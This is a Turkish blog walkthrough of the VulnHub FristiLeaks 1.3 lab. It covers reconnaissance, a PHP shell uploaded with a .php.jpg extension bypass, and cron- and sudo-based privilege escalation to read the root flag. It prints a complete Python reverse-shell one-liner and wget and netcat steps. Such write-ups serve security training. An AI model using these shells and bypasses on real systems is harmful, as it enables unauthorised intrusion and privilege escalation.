ZAFİYETLİ MAKİNE ÇÖZÜMÜ |VulnHub FristiLeaks: 1.3
Bu yazımda VulnHub platformunda bulunan çözümlemiş olduğum “FristiLeaks: 1.3 ” isimli makinenin adım adım çözümlerini inceleyeceğiz. Odaya göz atmak için https://www.vulnhub.com/entry/fristileaks-13,133/ bağlantısını ziyaret edebilirsiniz.
FRİSTİLEAKS:1.3
Fristileaks makinamızı sanal makinamıza kurduktan sonra virtualbox kullanıyorsanız vicual box için mac verilmiş dikkat edin yoksa kendi ağınız üzerinden bulunması zorlaşıyor.
İlk adım olarak makine ip adresini bulabilmek için netdiscover ile tarama gerçekleştiriyoruz.
İlk 3 ip vitualbox'ın kendi ipsi iken 4. ipimiz fristi makinamızın ipsidir.Ipyi bulduğumuza göre 2. adım olarak nmap taraması ile devam ediyorum. Görseldeki gibi nmap -sS -sV -A -T4 parametrelerini kullanarak tarama yapıyorum.
80 HTTP portunun açık olduğunu görüp siteye gidiyorum ve görünürde bir şey olmadığını fark ediyorum daha sonra gobuster taraması ile alt dizinlere bakabiliriz
robots.txt dosyasına baktığımızda 3 alt dizin bizi karşılıyor /cola /sisi /beer bunlara baktığımızda bir resim bize aradığımız url in burası olmadığını söylüyor.
burda herhangi bir şey bulamayıp kaynak kodu inceliyorum ve bir kullanıcı mesajina erişiyorum ve bize bazı adreslerini bırakmışlar fakat işe yarar bir şey yok .
Daha sonra bu verilerin birer içecek olduğunu fark ediiyorum yani bunlar bir içecek fristi de öyle bu yüzden fristiyi deniyorum.
Giriş panelini buldum ve nasıl girebilirim diye incelemelerime devam ediyorum.
Bize burda sitede bulunan fotoğrafları hashlediklerini ve bunu base64 ile yaptıklarını söylüyor ve eezeepz adındaki kullanıcıya da bir mesaj bırakılmış.Yani siteye erişimi olan bir kullanıcı olabileceğini düşünüyorum ve site kaynağını incelemeye devam ediyorum.
Yorum satırı içerisinde bir hash oldğunu fark ediyorum ve bulduğum base64 kodu bir png kodu ile eşleşiyor bunu png olarak kaydettiğimizde karşımıza
keKkeKKeKKeKkEkkEk çıkıyor
burdan sonra bize bir şifre veya kullanıcı adı verdiğini düşünüyorum.
siteye tekrar dönüyorum ve ipucunu bize bırakan arkadaş yanında bir de isim bırakmış bununla bulduğum şeyi panelde deniyorum ve giriş başarılı
Bir fotoğraf yükleme panemli beni karşılıyor.
Burda bir php çalıştırmayı düşünüyorum fakat önce deneme amaçlı dosya ve fotoğraf yüklüyorum
dosya türünü kabul etmediği için php shellime jpg uzantısı atıp yüklüyorum ve http://10.0.2.4/fristi/uploads/mstf.php.jpg bağlantı
netcat ile nc -nvlp port no yaparak ağı dinlemeye başlayıp shelli çalıştırıyorum.
ağa giriş sağlıyorum, uname -a yaparak kim olduğuma bakıyorum ve içerdeyim
kullanıcıları incelerken admin eezeepz ve fristlygod kullanıcılarını görüyorum
sadece eezeepz ye giriş yapabiliyorum bu yüzden ona giriyorum ve notes.txt dosyasına ulaşıyorum
Notes.txt içerisinde bize bazı bilgiler vermiş.
burada admin yetkisi ile çalışabilecek bir cron olduğunu ve bize burada çalıştırabileceğimiz komutları söylüyor./tmp ye gidiyorum.
buraya erişimim olduğunu görüyorum ve bunun için bir python shell buluyorum ve bunu uygulamaya çalışıyorum.Shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
fakat sistemde bunu düzenleyemediğimi fark ediyorum bu yüzden kendi apache serverımı ayağa kaldırıyorum ve düzenleyi oradan yükleme sağlayabileceğim aklıma geliyor.karşı cihazdan wget komutu ile shell dosyasını indiriyorum ve runthis diye bir dizin oluşturuyorum ve shell dosyamı çalıştırması için python komut ile içerisine yazıyorum çünkü cronların runthiste admin yetkisi ile çalışacağını görmüştüm yine ağı dinelemeye başlıyorum ve sisteme admin olarak login oluyorum.
whoami komutunu kullanıyorum ve admin olduğumu görüyorum.whoyourgodnow.txt ve cryptopass.txt adında iki dosya görüyorum ve bunun fristigod şifresini tuttuğunu düşünüyorum şifre algoritmalarını veren python kodunu görüyorum base64 ve root13 ile şifreliyor mesaji önce root 13 ile çözüp base64 formuna alıyorum daha sonra ise base64 formunda çözünce şifreye erişiyorum
hashleri pythonda algoritmam sayesinde decode ediyorum ve şifrelere ulaşım sağlıyorum
daha sonra fristigod kullanıcısına giriş yapmak için su komutunu kullanıyorum ve su komutunu kullanamadığımı görüyorum bu yüzden python komutu ile komut çalıştırıp yetki elde ediyorum ve tekrar deniyorum.Şifrelerimi denedikten sonra erişime ulaşıyorum.
fristigod kullanıcım içerisinde dosyalarını görüyorum ve aramaya devam ediyorum.
Sonra /var içerisinde fristligod adında bir dizin olduğunu hatırlıyorum
ve burda .secret_admin_stuff dizinin içerisine girdiğimde root olarak çalıştırabileceğim dosyalara bakıyorum doCom adında ki o dosyayı görüyorum. sudo -u fristi ./doCom "ls -al /root/" komutunu çalıştırarak rootta bulunan bilgilere erişim sağlıyorum. Burada bir fristileaks_secrets.txt dosyası olduğunu görüyorum ve aynı şekilde bu text dosyasını okumak için tekrar komut çalıştırıyorum.
daha sonra ise okuyunca flag e ulaşıyorum ve makinamı kapatıyorum. Makinanın cözümünü yaparken keyif aldığımı söylemeden edemiyor ve herkese başarılar diliyorum başka yazılarda buluşmak dileğiyle...